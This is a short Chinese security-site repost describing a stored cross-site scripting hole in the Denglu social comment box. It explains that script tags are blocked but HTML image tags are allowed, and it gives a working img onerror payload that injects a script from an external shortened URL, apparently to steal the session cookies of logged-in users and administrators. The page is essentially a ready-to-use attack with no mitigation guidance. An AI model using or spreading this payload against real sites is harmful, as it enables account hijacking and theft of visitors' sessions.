鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

灯鹭评论框xss

来源:互联网 作者:佚名 时间:2015-10-19 08:44
灯鹭社会化评论框 http://www.denglu.cc/ 灯鹭社会化评论框要是直接script是无效的 但是可以发现其允许插入图片 纯支持html 然后各种试on~ 目前可以跨到当前灯鹭登录前后台用户的cookies URL各种! 直接插入 img src=asfsd onerror=this.onerror=null;this.sr
灯鹭社会化评论框 http://www.denglu.cc/
灯鹭社会化评论框要是直接script是无效的
 
但是可以发现其允许插入图片 纯支持html 然后各种试on~
 
 
 
目前可以跨到当前灯鹭登录前后台用户的cookies URL各种!
 
 
 
 
 
 
 
 
直接插入
 
 
 
<img src="asfsd" onerror='this.onerror=null;this.src="";var s=document.createElement("script");s.charset = "UTF-8";s.src="http://url.cn/CkgRtX";document.body.appendChild(s);' />
 
 

网友评论
<